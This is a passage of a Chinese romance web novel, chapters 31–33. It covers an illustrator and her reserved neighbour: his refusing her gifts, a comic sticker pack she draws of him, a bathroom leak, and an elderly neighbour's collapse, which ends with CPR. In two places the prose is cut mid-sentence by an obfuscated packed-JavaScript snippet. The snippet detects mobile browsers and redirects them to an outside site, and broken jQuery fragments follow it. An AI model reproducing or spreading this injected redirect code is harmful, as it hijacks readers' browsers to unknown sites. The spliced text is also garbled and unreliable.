从看似很凶很不耐烦，实则是个傻白甜的哈士奇，到体型最小但脾气最坏的吉娃娃，还有总是手贱喜欢招惹别的猫，把人惹烦了又扭头装无辜跑开的萨摩耶…… 周默偶尔追问一两句，但大多时候都只是默默听着，一向绷直的唇角，却几乎没有再落下去。 31. 三重境界 下午五点多，迟了了工作告一段落，收拾了一番，挎上小包，准备出门去转转。 可大门刚关上没一会儿，就再度响起开锁的声音，紧接着又被急匆匆推开，迟了了口中嘟囔着“忘了忘了”，慌忙进门、换鞋，然后小跑着冲进厨房。 等再出来，她手上已经多了个沉甸甸的白色塑料袋。透过塑料袋，隐约可以看到里面装着几个圆滚滚的东西，另外还有几个盒子之类的。 她就这样费力地拎着袋子，重新换鞋，出门，然后关门。 刚刚被按上来的电梯正好到达，她却没有进去，而是转头拐进了楼梯间。 气喘吁吁地下到八楼，来到801门口，她将袋子重重地往地上一放。袋子离手的瞬间，她长长嘶了一声，看看手上被勒出的红痕，龇牙咧嘴地揉了揉，又吹了两下。 做完这些，她抬眼看着面前的黑色大门，抿唇犹豫了会儿，最后像是终于下定了决心，抬手飞快地敲了几下。 敲完后也不等开门，扭头就跑去按下了电梯按钮。 刚被她唤到9楼的电梯被放了鸽子，此时正百无聊赖地在原地摸鱼，一感应到召唤，又马不停蹄地往楼下赶。 而在等电梯的间隙，迟了了掏出手机举到嘴边：“周默周默，我家人昨天给我送来好多好吃，给你分一些，放你门口了，记得拿哦！” 一句话发出去，电梯门正好打开，于是她一刻没停，抬脚就闪了进去。 像是掐着点似的，在电梯门关闭的下一秒，801的大门也开了，同时，“叮”的一下，迟了了的消息也到了。 周默一手开门，一手将手机举到耳边，连珠炮般的清脆声音噼里啪啦蹦入耳中的同时，他也看到了脚边的白色塑料袋。 收起手机，他对着这袋子半晌一动没动，最后才无奈地叹了口气，俯身抬指，撩开袋子的一角。 即便已经做好了心理准备，但在看到里面东西的瞬间，他还是再次感受到深深的无力。 袋子里满满当当，装满了各式水果、点心，甚至还有一包红枣，此外甚至还有个白色的保温桶，打开一看，里面竟是包好冷冻的饺子…… 周默嘴角抽了抽，最后还是认命地把它拎了起来，回身进屋。 不知是因为那天的那句“算朋友了”，还是因为两人在公园一起喝了买一赠一的饮料……总之，在周默还没来得及重新适应一个人的生活时，迟了了像是收到了某种讯号，忽然故态复萌，重现了他刚搬来时的热情，具体表现仍是隔三差五地就往他家门口放点东西。 放东西不说，因为已经完全掌握了周默的上班时间，这次她连提前的招呼也不打了，直接将东西往门口一放，然后敲敲门，发个信息告知，连面都不露，跟个“田螺姑娘”似的。 也完全不给周默拒绝的机会。 时至六月，夏天的氛围愈演愈烈，各色瓜果也都上了市，于是乎，周默家门口便今天是半个西瓜，明天是几个芒果，后天是杨梅，大后天又是荔枝……三天一小投，五天一大投，短短几天，周默家就快变成水果铺子了。 为了消灭这些水果，他只能想尽办法：生吃、榨汁吃、做饭吃、带去公司给祝赫吃…… 收到水果的祝赫，当时的表情无异于见了鬼，甚至以一种戒备的眼神审视着周默，就差明说怀疑他被夺舍了。 而今天，看着袋子里愈发夸张的投喂，周默意识到不能任由事情继续这么发展下去了，他必须做点什么！ 于是到晚上，他拎着那个白色保温桶和大袋子上了楼。 …… 画室里，迟了了正跟肖音韬就第二版画稿的修改意见讨价还价。 “这个场景里，鸭子的表情有点过于夸张了，可以稍微收一点。”“别来找肖女士”说。 迟了了：“啊？” “还有这里河边，是不是加几块石头比较好？显得画面不那么单调。” 迟了了：“嗯。” “还有这里，猫头鹰的尺寸稍微大点。” 迟了了：“哦……” “另外，河里的水花有点多，去掉点。” 迟了了：“呜——” 肖音韬终于受不了了，劈头盖脸就骂过来：“你开火车呢呜呜呜？这些意见你接不接受给个准话？！” 迟了了吸吸鼻子，撇嘴给出一句：“不想接受。” “不接受也得接受！” “啊！我不想改啦！”迟了了也受不了了，抱枕一甩，直接“揭竿起义”。 改了改去，她热情都要改没啦！ “你是不是想让我去你家，坐你跟前盯着你改？”暴躁肖女士使出杀手锏。 “你——”迟了了两眼一瞪，正要反击，突然听到敲门声响起，又猛地刹住。 “我怎么？”电话那头的肖女士接道，一副“你有本事说下去”的口吻。 迟了了萎了，转而努努鼻子，凶巴巴地撂下一句：“你等着，我去开个门！” 然后不由分说地就挂了电话。 从地上找回先前被踢开的拖鞋，迟了了起身朝门口走去，不远的一段路，每一步都被她踩得啪啪作响，仿佛要把对肖音韬和改稿的怨气全发泄在地板上。 只是走了没几步，她又想起楼下的人，哼唧一声，不情不愿地放轻脚步。 不料，想曹操曹操到，这边迟了了刚想到别打扰到周默，透过猫眼一看，就看见对方正站在门外。 “咻——”的一下，刚刚跟肖音韬拉扯的怨气瞬间散了个干净。 与此同时，她脑子里闪过一个念头：早知道你在这，刚刚就再使劲跺两脚了！ 等拉开门，她一眼就看见了周默手里的那个白色保温桶，哀怨的脸上顿时笑开了花：“周默，饺子你吃过了？是不是很好吃，我珍珍妈妈亲手包的，她厨艺可好了！” 周默听到她这话，脸上闪过一瞬间的不自然。 他唇角飞快扯了一下，一狠心把手中的两样东西一并递给她，开门见山道：“谢谢你的水果和饺子，不过我来是想跟你说，以后请别再给我送这些东西了。” “……”迟了了脸上的笑“咔嚓”一下就冻住了。 呆站了好大会儿，她的大脑终于处理完这话里的意思：“你，不喜欢吗？” “……是不需要。”周默顿了顿，纠正道。 迟了了眨眨眼，黑溜溜的眼睛因为思考而不由地往上看，分辨着这两个词的区别。 不得不说，听到他这么说，迟了了是有些失落的。 自己喜欢的东西分享给朋友，在她看来，这是再正常不过的事情。如果说之前那轮投喂，她是为了拉近邻里关系——虽然因为还不熟悉，没拿捏好度——那么这次，两人既然已经是朋友了，送点东西给他不就是朋友间感情交流的一种方式吗？ 任何感情都需要经营，友情自然也需要。 在迟了了的认知中，这就跟幼儿园小朋友今天你分享给我一颗糖果，明天我分享给你一瓶娃哈哈一样的道理！ 但现在周默却说，他不需要？ 迟了了有点摸不透了，思来想去，也没明白。 “……那好吧！” 不需要，也不能强送不是，她伸手接过东西，垂头丧气得像个因找不到太阳而蔫头耷脑的向日葵。 周默手上一空，看着她这副无精打采的样子原本理直气壮的心里竟莫名生出些心虚来，他动了动唇，想说些什么，却又不知有什么可说的。 他不想为了安慰她，而强逼自己收下那些东西，况且他有自知之明，自己生活无趣，跟她相比，实在没什么好回赠的…… 然而，就在迟了了怏怏地说了声“再见”，转身回屋准备关门的时候，他还是没忍住，脱口而出一声：“那个——” 迟了了动作一顿，茫然回过头来。 周默对上她这目光，又懊悔起来：他也不知道自己叫住她是要说什么，只是下意识就开口了。 智商超群的大脑在这一刻飞速转动，像是遇到了比编写一个高难度程序还要复杂的考验。 直到迟了了等得有些纳闷，想要开口问他还有什么事时，这个程序终于找到了突破口！ “那个，”他心神一定，说，“要不，你帮我画个头像吧！” 迟了了一下子没明白过来：“头像？” “对，就……你微信头像那种，”顿了顿，又试探着问，“友情价？” 如果生活里真有慢镜头，在周默一定会看到从“友情价”这三个字落下的那一瞬间，迟了了的眼睛一点点亮了起来，甚至连带着她的眉毛、嘴角、脸颊都一点点扬了起来——活脱脱就是电影里那个叫“闪电”的树懒的翻版！ 而事实上，这一变化不过在眨眼间完成，于是，他只看到上一秒还蔫头巴脑的向日葵突然“蹭”地一下，就支棱了起来！ 迟了了容光焕发地看着周默，重重点头：“好！没问题！” - “所以，为什么被拒绝了你还这么开心？” “或者”咖啡，两个老板和一个员工再次围坐着一张小圆桌，一人一个吃着被周默“退货上门”的红枣，日常摸鱼。 听了迟了了的讲述，阿葱琢磨了好久，发出这样一句疑问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818859|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你不懂，这种拒绝才是真朋友呢。”闯闯扒开一个红枣，把里面的枣核剔出来，说道。 阿葱：“啊？” 闯闯歪头朝迟了了示意了一下：“这话她说的。” 阿葱又转着脑袋看向另一边。 “没错，是我说的。”迟了了将嘴里的红枣咽下去，坐直身子，清清嗓子，摆出一副高深莫测的高人模样，摇着头晃着脑，“有道是人生有三重境界，见山是山、见山不是山、见山还是山，而根据我的总结，人和人相处，‘拒绝’也可以分为三重境界。” “哪三种？”阿葱不由自主地顺着她的话往下问。 “不喜欢的拒绝、客气的拒绝，和不喜欢的拒绝。” “？” 阿葱以为自己听错了，掰着手指头又数了一遍：“这，确定不是两种？” “NONONO，”迟了了给她一个稍安勿躁的眼神，“第一种不喜欢的拒绝，是对人的不喜欢，举个栗子，”她从小食盘里拿出一颗枣举到眼前。 “这是枣。”闯闯提醒。 迟了了立刻瞪她一眼：“别打岔！”又对阿葱，“意会就行。” 阿葱乖乖点头：“哦。” 迟了了继续：“举个例子，你亲戚给你介绍了个相亲对象，你去见了面，但是不喜欢，见面结束后，对方提出要送你回家。问，这时候你会怎么办？” 阿葱是个结结实实的I人，一听这话汗毛都要竖起来了，连连摇头：“不要不要。” “呐，这种拒绝，就是不喜欢‘人’的拒绝。” “哦——” “第二种，客气的拒绝。再比如，下班的时候，你去坐地铁，这时候有不算熟悉但也说过几句话的同事或者领导开车从你旁边经过，说要顺路捎你一程，你又会怎么办？” “呃，不用了吧……”阿葱想象着那个画面，浑身上下都写满了抗拒。 迟了了对她这反应很是欣慰：“这就是出于礼貌和客气的拒绝。” “那第三种，”她竖起三根手指，比了个OK的手势，从两人眼前慢悠悠划过，“再举个例子，你跟好朋友一起出去吃饭，朋友提议吃日料，你不想，怎么办？” “跟她说我想吃火锅啊！”阿葱不假思索道。 “呐，”迟了了一打响指，“这就是不喜欢‘事’的拒绝。” 阿葱听完，似懂非懂：“所以，第一种拒绝，是因为不喜欢这个人；第二种拒绝是……人也可以、事也还行，但这个人做这个事就不合适？第三种拒绝——” 她突然明白了，“是对事不对人！” “bingo！”迟了了立刻抬手跟她击了一掌。 “所以这位周邻居虽然退回了三三姐你的枣，但他又让你给他画头像，就是对事不对人？”阿葱举一反三。 “没错！恭喜少女，你悟了！” 听到这儿，阿葱总算想透彻了。 闯闯提起手边的杯子：“来，让我们祝贺迟三三同学的魅力又成功征服了一个人！也欢迎这位未曾谋面的邻居，加入到我们这个大家庭！” 迟了了脸上顿时笑开了花，和阿葱一起举杯碰上去，三人以咖啡代酒：“干杯！” - 相较于改稿子，给周默画头像可就有意思多了！ 迟了了灵感上来，一口气便给他画了好几个版本的，看书的、拎着锅铲做饭的、对着电脑手指翻飞的…… 原本只是一个头像，最后愣是被她画出了表情包的阵仗。 而事实上，她也确实这么做了—— 戴着眼睛留着碎发的小人，时而死死地盯着你，旁边配字：周默iswatchingyou； 时而冷冷瞥过来一眼，配字：我就静静地看着你犯蠢； 时而紧握拳头、双眼冒火：怒了！ 时而轻蔑一笑：嘁！ 时而又朝天翻白眼，这次没有配字，只有一串省略号 迟了了越画越来劲，慢慢地，画风开始跑偏—— 躺在地上泪流成河的周默、 双手捧心面带桃花的周默、 墨镜雪茄金项链加身的周默、 wink卖萌的周默、 举着花球喝彩的周默、 跳着舞蛇形走位的周默…… 等过足了瘾回头一看，屏幕上已经有十好几个各式各样的“周默”了。 迟了了拽拽睡衣上的小熊掌，扫视着自己一晚上的劳动成果，终是没忍住，哈哈笑了出来！ 而就在这时，“当当当——”，熟悉的敲门声又响了起来。 32. 你过来呀 距离新产品发布越来越近，精卫从上到下都像是上了发条一样，就连身为“兼职顾问”的周默在下班后也被祝赫拉着又开了好久的会，等终于回到家，已经是晚上十点多。 将电脑随手放在沙发上，他转身就进了洗手间。 然而前脚刚踏进洗手间的门，他就跟踩了地雷似的浑身一僵！ 顿了一秒，像是为了确认自己的感觉没错，他轻轻抬起脚，然后重新落地。 “啪嗒”的一下，脚下再次传来清脆的水声，像踩在秋天被阳光和秋风烘烤得脆干脆干的树叶上。 周默脸色一变，立刻伸手打开旁边的开关。 白色的灯光骤然亮起，照亮了洗手间里的一切，也包括此时此刻，正湿淋淋铺着一层积水的地面。 一层微弱的涟漪正从他脚下荡开，在灯光的照射下泛起细碎的光条，而平日里在米灰色磨砂地砖上只能映出个模糊光斑的白炽灯，这一刻也像照镜子一般清晰。 周默骤然反应过来，立刻环视一圈，以为是自己出门时水龙头没关紧。 然而并没有。 他又俯下-身子，里里外外仔细检查了一遍，可所有的管道、地缝和龙头螺丝口，都没有异样。 就在这时—— “啪嗒！” 一个不算轻微的声音突然传入耳中，周默一顿，立刻循着声音传来的方向看过去，上上下下又搜寻了一遍，最后终于锁定了漏水的源头——是洗手间靠近角落的一块吊顶缝隙。 而当他发现这个缝隙的时候，一枚硕大的水滴正再次从那道缝隙里探出头来。 - 迟了了拉开门的时候，脸上的笑意还没完全收敛，于是一看到外面站着的周默，这笑立时僵在了脸上。 怎么回事？ 他最近来得有点频繁呀？ 她在心里默默嘀咕。 想到自己刚刚的“杰作”，虽然隔了点距离，他又站在门外，应该什么也看不见，但迟了了还是心虚了一下，赶紧挪挪身子，彻底挡住他可能看到电脑屏幕的视线. 然后，朝他笑得更热情了些。 周默不知她这动作背后的动机，对此丝毫没有在意，只是看着她脸上的笑有点懵： 至于，这么高兴？ 随即目光落在她身上——睡衣，果然已经洗漱过了。 “你家漏水了。”他开门见山。 迟了了眨眨眼，嘴角有些夸张的笑“咔嚓”一下就裂了： “哈？” 几分钟后，她站在洗手间里，弯腰看着正单膝跪地蹲在墙根，打着手机手电筒检查地面的周默： “怎么样，找到哪出问题了吗？” 周默叹了口气，直起身子，关上手电筒摇了摇头：“表面看来，墙缝和地砖都没有漏水的痕迹，应该是里面的防水层或者排水管出了问题，需要找师傅来检修一下才能确认。” 迟了了一愣：“现在？” 这都快十一点了，她都要开始上“晚班”了呢。 “现在应该——”周默闻言转过头，刚想说什么，却不想这一转直接将两人本就不远的距离拉得更近。 淡黄色的灯光下，两人距离近得几乎能看到对方眼中自己的倒影。 “……” “让一下，”周默说，“我要起来。” 迟了了猛然惊醒：“哦哦哦。” 出了洗手间，周默拍了拍手，继续刚刚没说完的话：“现在应该来不了了，明天吧，今晚先关上阀门，给物业打电话说一下。” 迟了了乖巧点头。 “对了，”想到什么，周默又停下脚步回头看她，“明天上午，你方便吗？” 迟了了：“呃……” 她可以说不方便吗？ 因为她起不来…… 上次去游乐园早起，她都是提前两天调整了工作计划才顺利起来的，但今晚，她是真的要改稿呀！ 可想到刚刚面前这人说的，漏的水已经把他洗手间都给淹了，迟了了作为“代班房东”，又觉得如果自己真说出“起不来”这样的话，那就太没良心了。 于是，顶着周默怀疑的目光，她一握拳一狠心，硬着头皮点下了头：“方便！” 事情就这么商定，周默抬脚准备离开。 到了门口，他又回头扫了眼整个房子。 因为是上下楼，又在装修的时候偷懒，迟了了的房子和楼下的格局几乎一模一样，同样是三室一厅，同样将进门的次卧做成了开放式的书房，同样把客厅和阳台打通，做了个大落地窗。 但也有不同，譬如楼下的装修风格是精致的现代简约风，眼前这个则是夹杂着一些可爱的艺术风，洗手间和厨房门还用了欧式的拱门设计，而且屋内的摆设……也跟它的主人一样，热热闹闹的。 紧接着，周默的目光又落在门旁的画室里，一整张宽大的实木长桌上，层层叠叠的盲盒手办中间，放着台电脑。 电脑旁还有张一家三口的全家福。 此时电脑已经锁屏，而锁屏的壁纸，则是张噘着嘴在鼻子底下夹了根画笔、坐在椅子上不停转圈圈的……迟了了自画像？ 突然，他的视线被人挡住。 垂眸一看，迟了了正紧张地瞪着眼，抬起一双手想要捂住他的眼睛。 周默：“……放心，锁屏了。” 他以为她是不想自己看到她的画稿。 迟了了回头一看：咦，还真锁屏了。 这才松了口气。 - 第二天上午，迟了了足足定了五个闹钟，才成功赶在9点半物业带着师傅上门之前，将自己从床上薅起来。 物业前来负责这事儿的，是个年轻小哥，看起来不过二十来岁，白衬衣黑西裤，斯斯文文白白净净的，就是个头一般，一米七五左右的样子。 他显然对迟了了很熟悉，一进门就先热情地问候了一通，从“没打扰你睡觉吧”到“吃早饭了吗”，再到“最近变天小心别感冒了”……可说是要多周到入微有多周到入微。 迟了了用力睁大眼睛，强撑着一副“我不困”的样子，一边打哈哈应付着他的关心，一边见缝插针地将话题绕到同行的水管师傅身上，又是帮师傅拿工具包，又是给两人递水的。 师傅不愧是吃的盐比物业小哥吃的米都多，看了迟了了的反应怎会不明白她的态度。 正所谓吃人嘴软，拿了迟了了的饮料，师傅便油然生出一股责任感，等小伙子中间歇口气的时候，二话不说便往他手里塞了副鞋套，提醒他正事要紧，自己待会儿还有别的活儿要忙。 小哥立即清醒过来，想起今天这事儿自己既然从同事手中抢过来了，那就必须办好，于是赶紧收起心思，端出一副专业靠谱的形象套上鞋套，跟着师傅往洗手间去。 迟了了这才松了口气。 …… 师傅经验丰富，动作也利索，将洗手间从上到下检查一遍，很快得出结论：“应该是防水或者下水管出了问题。” 竟然跟周默昨晚说的一样。 “但还得先去楼下看看，”师傅又说，“如果是防水的问题，那可就是个大工程了，咱先把水管问题排除了再说。如果真是管道问题，也得从楼下修。” “这……”小哥看向迟了了，“我记得楼下许先生的房子是租出去了？迟小姐有这位租客的联系方式吗？没有也没关系，物业有登记，我让同事帮忙查一下。” “不用不用，”迟了了忙说，“我有！”说罢掏出手机，给周默发了个消息过去。 那边很快传来回复，迟了了二话不说，带着两人下了楼。 早已料到可能会来楼下检查的周默今天没去公司，一收到迟了了消息，便开门等着了。 物业小哥还是头一回见周默，一到门口瞳孔便亮了一下，一时也顾不上迟了了了，一双眼不住地上下打量着周默，眼里的渴望，就差直接把周默的一双腿拆下来安在自己身上了。 不过再觊觎，也只是望腿兴叹，小哥和他客气地打了声招呼，强忍着羡慕和惋惜，带着师傅再次钻进了洗手间。 迟了了落在后面，和周默一前一后跟过去。 “今天还在漏水吗？”她低声问。 “好多了，地上的水已经清理干净，没再积水了。”周默答。 迟了了松了口气，这她就放心了。 来到洗手间外，师傅已经架好梯子开始往上爬，物业小哥则在下面帮他扶着，不时递个工具上去。 专业的事交给专业的人做，迟了了和周默没进去添乱，只一左一右站在门口看着。 只见师傅先用工具敲了几下洗手间的吊顶，然后吩咐物业小哥从工具包里给他拿个吸盘，之后几乎不费吹灰之力，一块吊顶便被卸了下来。 师傅扶着梯子又往上上了一阶，然后打开手电筒，从拆开地方探进去半个身子继续检查。 不一会儿，上面传来师傅的声音：“得嘞，还真是下水管裂了！” “那好修吗？”物业小哥忙问。 “问题不大，拿补漏剂封上就行！”师傅自信地说。 底下三人顿时都放了心。 接下来，便进入师傅专心修补的时间…… 迟了了原本还好奇地盯着师傅，这会儿看不到了，便觉得有点无聊。时间一分一秒地过去，她百无聊赖地往门框上一歪，头抵着墙边，一个没忍住就打了个哈欠。 唉，她今天才睡了5个小时…… 一旁周默正拿着手机跟祝赫说事，刚打完字就听到她这声哈欠，不禁侧头看了她一眼，见她眼下一团青黑，便明白了什么，没有管她，继续看手机。 可没过一会儿，迟了了又打了个哈欠。 周默又看了她一眼，这一次动了动唇，可犹豫片刻，还是把话咽了回去。 直到第三次哈欠时，他终于忍不住了。 “你——” 然而他没有想到的是，刚一张口，一个哈欠竟从自己嘴里跑了出来。 周默赶紧抬手掩唇，背过身去！ 迟了了听到了他刚刚说出口的那半个“你”字，立刻扭头看过来，还带着一层水汽的眼睛微微泛着红晕，先是愣了一下，在看清周默掩唇的动作后，一下子清明起来！ “周默，你昨晚是不是没睡好？”她兴冲冲地问。 声音中带着些许鼻音，却没有一星半点的疲态。 周默刚回过身，一转头就听到这话，顿时僵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818860|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地。 很好，他咬牙切齿地想，今天他算是切切实实见识到了，什么叫做“倒打一耙”。 不想回答这个问题，他转而往厨房走去。 迟了了见状也赶紧跟上。 来到厨房，打开冰箱，两只手各拎出两瓶矿泉水，周默刚要关冰箱门，又顿了一下，回头看向身后的迟了了： “你能喝冰的吗？” “可以呀！” 迟了了答应着，但看了眼周默手里的矿泉水，又不死心地探头往冰箱里看了一眼。 ……没意思，只有矿泉水。 周默假装没看出她脸上的失望，将一瓶水拧开盖子递给她，又把两瓶放在客厅的茶几上，最后拧开剩下的那瓶，仰头喝了一大口。 被传染的困顿瞬间涤荡一空，他感觉浑身都舒畅了不少。 迟了了却没急着喝那瓶水，而是先把瓶子在脸上贴了贴，冰冰凉凉的触感顺着毛孔丝丝缕缕地渗入皮肤，也渗入大脑，让她整个人都清醒了不少。 脑子一清醒，便又有了想法。 迟了了想起昨晚画好的卡通头像，丢下一句：“你等我一会儿，我上楼拿个东西！” 然后便把瓶子往周默手里一塞，转身跑了出去。 周默看着她风风火火的背影，又看看手里多出来的矿泉水瓶，没明白她在搞什么名堂。 不过两分钟后，他便知道了—— 迟了了抱着个贴满了卡通贴纸的笔记本电脑回到801，径直在沙发前坐下，然后抬手冲周默招了招： “周默，过来，给你看你的头像！” 周默没想到她还真画了，闻言挑了下眉，饶有兴致地走过去。 迟了了打开电脑，点开昨天专门创建的文件夹。 文件夹里有两个PSD文件，都是“周默xxx”开头的命名，她记得头像的那个是第一个，于是想也没想便点击打开。 然而几秒钟后，霍然映入眼帘的一堆表情包让她头皮陡然一炸！ 想再关闭文件已经来不及，捂更是捂不住，一阵手忙脚乱后，她干脆“啪”地一下盖上电脑，又将电脑藏到旁边靠枕底下。 然后，整个人一动不动地压在那个靠枕上…… 一分钟的时间仿佛有一个世纪那么长，等她做好心理建设慢慢回过头时，不出所料地对上了周默早已阴云密布的脸。 “那，是什么？”他声音沉沉，一字一顿。 老实说，看到电脑上那些让人眼花缭乱的东西的一瞬间，他压根没反应过来那是什么，可接下来，眼前这人一通自乱阵脚的欲盖弥彰反而让他警觉起来。 愣怔片刻之后，他凭着那一眼的记忆，开始回想刚刚那堆自己没来得及细看的小图。 然后越想，他脸越黑。 “什么什么？”迟了了脖子一梗，无辜反问。 “没什么你藏什么？”周默咬牙切齿。 “这是我的画稿，还没完成呢，要保密的！”迟了了继续嘴硬。 周默呵地一笑：“我还能抄袭你的？” 迟了了目光闪了闪，瞟向一旁：“那……说不准呢。” 周默再次冷笑一声，下一秒脸色骤冷，懒得再跟她胡扯，伸手就要去拿电脑。 “哎！” 迟了了反应极快，抢先一步抱起电脑就跳下了沙发。 “给我。” “不给。” “给我！” “不给！” 两人隔着个沙发，一个在这头一个在那头，就这么对峙着。 见好好要是要不过来了，周默干脆一个箭步上前，准备硬抢！ 迟了了见状拔腿就抱！ 两人围着沙发“荆轲刺秦”一般跑了好几圈，最后周默出其不意地一个转身，准备从正面包抄过去！ 迟了了早跑累了，一见他这架势，干脆直接跳上沙发，将电脑举过头顶： “你别过来啊，我电脑很贵的！” 周默不为所动：“坏了我赔。” 嘿，这招竟然威胁不了他？ 迟了了不禁失望地鼓起脸颊，只能再想别的办法。 眼睛咕噜噜转着圈打量周遭，在落到沙发后的书桌上时，她突然灵光一闪！ 转眸看了周默一眼，见他在几步外正好整以暇地看着自己，迟了了扯出一抹讨好的笑，试探着从沙发上走下来。 “那个……”她讪笑着，往沙发一头踱去，然后扶着扶手，作势要坐下，“累了，歇歇。” 周默唇角勾起一抹弧度，看着她继续负隅顽抗。 就是现在！ 一下秒，迟了了倏地原地弹跳起步，一阵风似的便往书桌的方向蹿了过去。 周默一惊，立刻也反应过来她的目标所在，拔腿赶过去！ 然而，已经晚了…… 他刚绕过沙发，迟了了已经抄起桌上他的电脑举过头顶。 “你过来呀——” 这句威胁，她说得慢条斯理、得意洋洋。 周默：“……”失策。 就在两人僵持不下之际，旁边突然传来一声尴尬的轻咳，随即是维修师傅忍着笑的声音： “那个，修好了哈……” 33. 合力救人 送走物业小哥和师傅，客厅里，迟了了和周默隔着两米距离，一人占据一张沙发，久久无声地对峙着。 迟了了抱着电脑时刻警惕地看着对方。 周默则将脸撇向一旁，清晰的下颌因为生气绷成了一条凌厉的线。 就这么僵持了一会儿，周默回过头来：“我出钱买断，那些东西你删掉。” 他声音冷漠，带着不容商量的果决。 迟了了把电脑抱得更紧，一脸心不甘情不愿。 “你擅自拿我画表情包，已经涉嫌侵权了，我还愿意付你钱已经仁至义尽。” 迟了了不服：“我又没有传播使用，也没拿它去牟利！” 怎么能算是侵权？顶多算是……自嗨而已。 周默懒得跟她掰扯：“说吧，头像和表情包一共多少钱？一口价。” 见他态度坚定，没有一丝一毫可以商量的余地，迟了了也知道手里这套表情包是真的要保不住了……不过她也早就想到了，不然又怎么会怕他发现呢？ 这般想着，她挣扎半天，不情不愿地伸出五根手指。 “五千？还是五万？”周默疑惑。 迟了了瞪大眼：“……五百就行！” 周默难以置信：“你确定？” “友情价嘛！” 真是烦人！迟了了嘟嘟囔囔。 这倒有点出乎周默的意料，他还以为以眼前这人不按常理出牌又一点亏不肯吃的性格，会趁机敲自己一笔呢。 毕竟，之前那小屁孩在的时候，这事她可没少干。 …… 商定好价钱，两人一手交钱一手交货。 迟了了打开电脑，当着周默的面把头像和表情包全导了出来，又彻底删除了源文件——原本周默是让她直接删了的，但迟了了不同意，说，既然收了钱，东西肯定要给“甲方”的——最后，又把表情包一个一个地发给了他。 随着“叮、叮、叮”的消息提示音接二连三地响起，迟了了看着周默对着手机的脸上眉头越皱越紧、脸色越来越黑，心中一阵快意！ 哼，不是不报，时候未到！ 你不是要买断吗？拿回去慢慢欣赏吧！ 下一秒，目光落到周默身侧渐渐攥紧的拳头上，她又一个激灵清醒过来。 好汉不吃眼前亏，溜了溜了！ - 一溜烟回到楼上，迟了了咯咯窃笑着打开门。 然而，就在她一只脚刚刚迈进大门的同时，一阵乒铃乓啷的乱响突然从身后响起！ “妈呀！”迟了了被吓了一跳，赶紧回头去看！ 身后没人，只有隔了几米的走廊对面，902紧闭的大门。 她原地愣了几秒，想了想，还是不大放心，把电脑放在鞋柜上，折身朝对面走去。 “当当当当——” “张奶奶。” “张奶奶？” “当当当当——” 奇怪，张奶奶虽然年纪大了点，但听力还可以，照以往，她喊了这么几声，老人家早该听到过来开门了，可今天怎么…… 迟了了心中，忽然有种不好的预感。 她加重力气，继续拍门，一边拿出手机准备给老人家打电话。 刚调出号码，正要拨出去，身后突然传来一个声音：“怎么了？” 迟了了回头一看，是周默。 “我刚听到张奶奶家有动静，好像是东西摔了，但敲门没反应。”迟了了飞快地说道。 902住了个老人家，这周默是知道的，之前袁周率在的时候还常过来玩，而且他自己也收到过好几次迟了了转送的甜点。 此时听到这话，他不知想到什么脸色骤然一变，几个大步跨过来，问：“确定人在家吗？” “我正要打电话。”迟了了说着拨通了手中号码，紧接着，老年人常用的那种高音量铃声从门内传了出来，如同在两人耳边震了一记惊雷。 “家里还有别人吗？”周默忙又问。 “没有！”迟了了立刻摇头。 周默动作一顿，像是听到了什么恐怖故事似的，震惊地看向她，再开口时声音竟然瞬间喑哑，还带着一丝颤抖：“没，有？” “嗯，没有！” 周默再度看向大门，那门岿然不动，横亘在他眼前，像是一堵又厚又冷的墙，向两侧向上方都延伸出去无数米，将他和脑海中那个漆黑的午夜，彻底隔绝。 “钥匙……”他喃喃说道。 “什么？”慌乱中，迟了了一下子没听清。 周默突然转向她，大喝一声：“备用钥匙！有没有！” 迟了了被吓得一个哆嗦：“啊有！” 和大多数与电子设备相处不来的老人一样，张奶奶对电子锁也不信任，至今门上装的都是传统的机械锁；也和大多数老人一样，她在门口花盆底下留了把备用钥匙，不指望防贼，就防着自己哪天出门忘了拿钥匙……以及今天这种情况，于是她把这事告诉了迟了了。 从迟了了手中一把夺过钥匙，周默赶紧去开门，可手却止不住颤抖起来，试了好几次都没能顺利插进去。 他深吸了一口气，努力让自己平静下来，才终于打开门。 两人一拥而入，一个去厨房一个去客厅。 “在这里！”迟了了站在厨房门口，失声大喊。 周默快步过去，只见老人正躺在厨房灶台前的地上，双目紧闭，嘴唇发青，已经没了意识，旁边还凌乱散落着一堆锅碗瓢盆。 “叫救护车！”周默大步来到老人跟前，同时厉声喝道。 被吓呆了的迟了了立刻回过神来，连声“哦哦哦”着就去打电话。 另一边，周默蹲下-身来，先抬手在老人的脖颈上试了一下，而后迅速将老人的身体扶正、平躺。 等迟了了打完电话回来，他刚清理完老人口腔里的呕吐物和假牙，正解开老人的领口和腰带。 察觉迟了了的脚步声，周默头也不抬，双手交叠按上老人胸口，开始快速按压起来。 “老人平时有基础病吗？”他边按边问。 迟了了脸色发白，浑身打着颤，闻言狠狠攥紧双手，指甲扎入手心的痛感，让她慌乱的神智找回了一些清醒。 “有，有高血糖和高血压！”她说，“但平时都有吃药控制。” “初步怀疑是心梗！”周默声音更沉，气息因为频繁剧烈的按压也开始有些不稳，“你去找找，有没有硝酸甘油，或者速效救心丸！” 说完不等迟了了应声，又深吸一口气，俯身给老人做人工呼吸。 